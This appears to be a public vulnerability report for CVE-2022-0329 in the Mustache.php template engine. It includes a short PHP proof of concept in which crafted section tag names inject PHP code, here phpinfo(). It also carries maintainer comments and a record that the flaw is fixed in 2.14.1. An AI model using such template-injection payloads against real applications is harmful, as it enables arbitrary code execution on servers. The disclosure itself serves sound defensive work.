

# Improper Neutralization of Special Elements Used in a Template Engine in bobthecow/mustache.php



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## Description

In Mustache.php v2.0.0 through v2.14.0, Sections tag can lead to arbitrary php code execution even if strict\_callables is true when section value is controllable.

## Proof of Concept

```
<?php
require 'vendor/autoload.php';

$m = new Mustache_Engine([
    'cache' => './cache',
    'strict_callables'=>true
]);
echo $m->render('{{# repo
phpinfo();// }}
No repos :(
{{/ repo
phpinfo();// }}', array('repo' =>array()));
```

## Impact

This vulnerability is capable of arbitrary command execution when attacker can control the value of tag

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CVE-2022-0329

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### Vulnerability Type

CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine

### Severity

Medium (5.3)


### Visibility

Public

### Status

Fixed

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We created a [GitHub Issue](#) asking the maintainers to create a SECURITY.md 10 months ago

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This is probably CWE-1336 rather than CWE-77.

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Affected versions are Mustache.php v2.0.0 through v2.14.0.

It's probably worth noting that this requires rendering untrusted user content as a template.

In the interest of a cleaner PoC, registering the mustache autoloader is unnecessary, as is the cache setting, and `strict_callable`s should be a boolean `true` not the string `'true'` :)

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Researcher

You are right , I edit the description :)

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Admin

I've updated the CWE as per Justin's request

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Justin Hileman validated this vulnerability 10 months ago

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Justin Hileman marked this as fixed in 2.14.1 with commit 579ffa 10 months ago

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